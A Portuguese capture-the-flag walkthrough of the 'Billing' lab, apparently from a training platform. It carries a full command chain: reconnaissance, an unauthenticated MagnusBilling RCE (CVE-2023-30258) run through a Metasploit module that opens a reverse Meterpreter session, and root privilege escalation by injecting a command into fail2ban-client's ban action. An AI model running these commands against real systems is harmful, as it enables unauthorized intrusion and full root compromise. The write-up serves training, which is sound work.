🧠 Passo a passo da Sala: Billing

Escrito por: Aditya Bhatt | Colaborador Open Source

📦 Visão Geral

Neste passo a passo, vamos a fundo na Sala Billing, mostrando uma instância vulnerável do MagnusBilling, uma suculenta RCE sem autenticação (CVE-2023-30258) e uma configuração incorreta do sudo no fail2ban que grita “root me”.

Esta sala combina lindamente exploração automatizada com escalonamento criativo de privilégios, nos dando um gostinho prático de falhas do mundo real escondidas em software de faturamento VoIP. Iremos do Reconhecimento Inicial até o Shell Root com PoC completo, comentários e 🗿 vibes.

🌐 Passo 1: Fase de Enumeração

🏁 Aterrissagem Inicial

Após implantar a máquina, a primeira coisa que te atinge como um firewall mal configurado:

http://<machine_IP>/mbilling/

Esta é a página de login do MagnusBilling. Isso por si só já dispara alarmes — você sabe que vai ter uma jogada suculenta de CVE.

🔍 Reconhecimento Profundo com Nmap + Gobuster

Começamos com a combinação definitiva de reconhecimento:

nmap -A -sV -p- 10.10.115.173

🧠 Descobertas:

• Porta 5038 – Asterisk Call Manager/2.10.6
• Outros serviços HTTP estão disponíveis em /mbilling/

Em seguida, vamos de brute force total com Gobuster:

gobuster dir -u http://10.10.115.173/mbilling -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt
gobuster dir -u http://10.10.115.173/ -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt

🧠 Descobertas:

• robots.txt

🏗️ robots.txt

Então verificamos o robots.txt do site em busca de algo interessante:

User-agent: *
Disallow: /mbilling/

Hmm… tentar esconder só nos faz querer mais 😈

🔌 Passo 2: Exploração

🔥 Porta 5038 – Asterisk Manager

Um teste rápido com netcat confirma que ele responde com:

Response: Error
Message: Missing action in request

O que confirma ainda mais: o backend é MagnusBilling, e a porta está ligada ao Asterisk Call Manager. Hora de invocar nossas artes das trevas 🧙

⚔️ Arma de Escolha: CVE-2023-30258

Exploit: Execução Remota de Código sem Autenticação no MagnusBilling Módulo: exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258

Inicie o Metasploit:

msfconsole
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258

Em seguida, verifique os requisitos:

show options

Então defina o seguinte:

set RHOSTS 10.10.115.173
set LHOST 10.17.88.138
run

Alguns segundos depois… Boom. Conseguimos uma sessão Meterpreter!

shell
whoami ➤ asterisk
uname -a ➤ Linux Debian 6.1 x86_64

Tentamos gerar um shell TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'

🧭 Passo 3: Enumeração de Usuário

Começamos subindo nos diretórios com:

cd ..
cd ..

Até encontrarmos:

cd /home/magnus
cat user.txt

Legal! Mas ainda não terminamos. Precisamos de root, e Magnus está sussurrando segredos para nós.

🧨 Passo 4: Escalonamento de Privilégios

Vamos verificar o que podemos executar com sudo:

sudo -l

Resultado:

(ALL) NOPASSWD: /usr/bin/fail2ban-client

Agora isso é 🔥. Podemos abusar do fail2ban-client para executar comandos como root usando ações de banimento.

🎯 Abuso do Fail2Ban → Shell Root

Vamos reiniciar o fail2ban:

sudo /usr/bin/fail2ban-client restart

Em seguida, injete o comando para roubar a flag de root:

sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt'"

Dispere o banimento (e assim o comando):

sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1

Então:

cat /tmp/root.txt

Rooteado. Como. Um. Chefe. 🗿🔥

✅ Tabela de Recapitulação Final

🧠 O que Você Aprendeu (também conhecido como Sabedoria Semi-Pro)

1. 🔍 Reconhecimento não é só escanear – Procure páginas ocultas, verifique robots.txt e investigue portas estranhas.
2. 💣 Explore CVEs conhecidas – MagnusBilling era vulnerável a um exploit público (CVE-2023-30258).
3. 🔓 Escalonamento de privilégio nem sempre significa exploits de kernel – Direitos sudo mal configurados (como no fail2ban-client) são igualmente perigosos.
4. ⚙️ Criatividade importa – Contornar restrições de usuário com ações de banimento mostra pensamento lateral do mundo real.

🗿 Palavras Finais

Esta máquina foi um belo equilíbrio entre exploração automatizada e criatividade manual pós-exploração. De RCE no MagnusBilling ao root via fail2ban, ela acerta todas as notas certas na playlist de um pentester 🎧🎯

Seja você um iniciante querendo evoluir ou um guerreiro experiente coletando flags — esta é uma obrigação de pwn.

Até a próxima, Continue Perigoso. Continue Curioso. Continue Majestoso. 🗿